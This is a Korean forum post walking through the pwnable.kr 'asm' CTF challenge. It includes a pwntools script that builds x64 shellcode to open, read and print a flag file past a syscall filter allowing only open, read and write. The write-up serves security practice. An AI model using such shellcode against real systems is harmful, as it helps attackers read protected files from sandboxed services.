[pwnable.kr] asm

해킹대회 문제 풀이 연습장소

Moderator: amesianx

Post Reply
loremer
Posts: 39
Joined: Fri Dec 02, 2016 10:52 am

[pwnable.kr] asm

Post by loremer » Thu Jan 05, 2017 6:35 am

pwnable.kr의 asm 문제입니다.

우선 ssh로 접속하면 asm, asm.c readme, flag파일로 반겨줍니다.
readme를 부족한 영어로 해석해보면 9026포트로 연결하면 asm_pwn 권한으로 asm 바이너리가 실행된다고 합니다.
flag를 얻으라는데 flag의 파일명이 상당히 기네요
스크린샷, 2017-01-05 05-43-45.png
스크린샷, 2017-01-05 05-43-45.png (73.08 KiB) Viewed 391 times
nc 0 9026으로 연결해보면
x64 open, read, write 시스템콜만을 이용해서 쉘코드를 만들라고 합니다.
스크린샷, 2017-01-05 05-57-53.png
스크린샷, 2017-01-05 05-57-53.png (62.43 KiB) Viewed 391 times
이제 asm.c로 가보면 이것 저것 코드가 많네요
대략 open, read, write, exit, exit_group 시스템콜만 허용해주는것 같네요
스크린샷, 2017-01-05 06-06-01.png
스크린샷, 2017-01-05 06-06-01.png (190.22 KiB) Viewed 391 times
sh에 0x41414000 위치부터 0x1000바이트를 할당한 후
기계어가 들어있는 stub를 앞에 넣고
stub 이후부터 사용자에게 입력을 받고
최종적으로 sh를 실행합니다.
(최상위 경로를 지정해서 /tmp의 심볼릭 링크를 사용하지 못합니다 ㅠㅠ
flag의 파일명을 다 넣어줘야 할것같네요)
스크린샷, 2017-01-05 06-21-19.png
스크린샷, 2017-01-05 06-21-19.png (163.93 KiB) Viewed 391 times
stub의 내용을 보면 간단하게 레지스터를 초기화 해줍니다.
스크린샷, 2017-01-05 06-24-55.png
스크린샷, 2017-01-05 06-24-55.png (214.74 KiB) Viewed 391 times
이제 필요한 정보는 다 모였네요

open syscall로 flag파일을 열어서
read syscall로 읽은 후
write 로 표준출력에 읽은 값을 써주면 될것 같습니다.

Code: Select all

from pwn import *

string="/this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"

while(len(string)%8!=7):
    string="/"+string
string="."+string

payload='''
xor rax, rax
push rax #문자열 끝을 위해 null 바이트를 넣어줍니다.
'''
for i in range(len(string),0,-8):  #flag 파일 이름을 잘라 스택에 넣어주는 어셈을 만듭니다.
	payload+= 'mov rbx, '
	payload+= hex(u64(string[i-8:i]))+'\n'
        payload+= "push rbx\n"

payload+='''
mov al, 2
xor rdi, rdi
lea rdi, [rsp]
xor rsi, rsi
syscall

mov rbx, rax
xor rax, rax
mov rdi, rbx
mov rsi, rsp
mov dx, 0xFFFF
syscall

push 0x1
pop rdi
xchg rdx, rax
xor rax, rax
mov al, 1
syscall

push 0x3c
pop rax
xor rbx,rbx
push rbx
syscall
'''

shellcode=asm(payload,arch='i686',word_size=64)

for i in range(0,len(shellcode)):
    os.write(0,"\\x"+shellcode[i:i+1].encode("hex"))

코드를 이용해서 값을 넘겨주면
이렇게 flag가 나옵니다.
스크린샷, 2017-01-05 06-32-26.png
스크린샷, 2017-01-05 06-32-26.png (157.11 KiB) Viewed 391 times

h0n9t3n
Posts: 48
Joined: Tue Oct 13, 2015 11:14 am

Re: [pwnable.kr] asm

Post by h0n9t3n » Thu Jan 05, 2017 8:42 pm

오우 깔금하이 ~굿

Post Reply

Who is online

Users browsing this forum: No registered users and 21 guests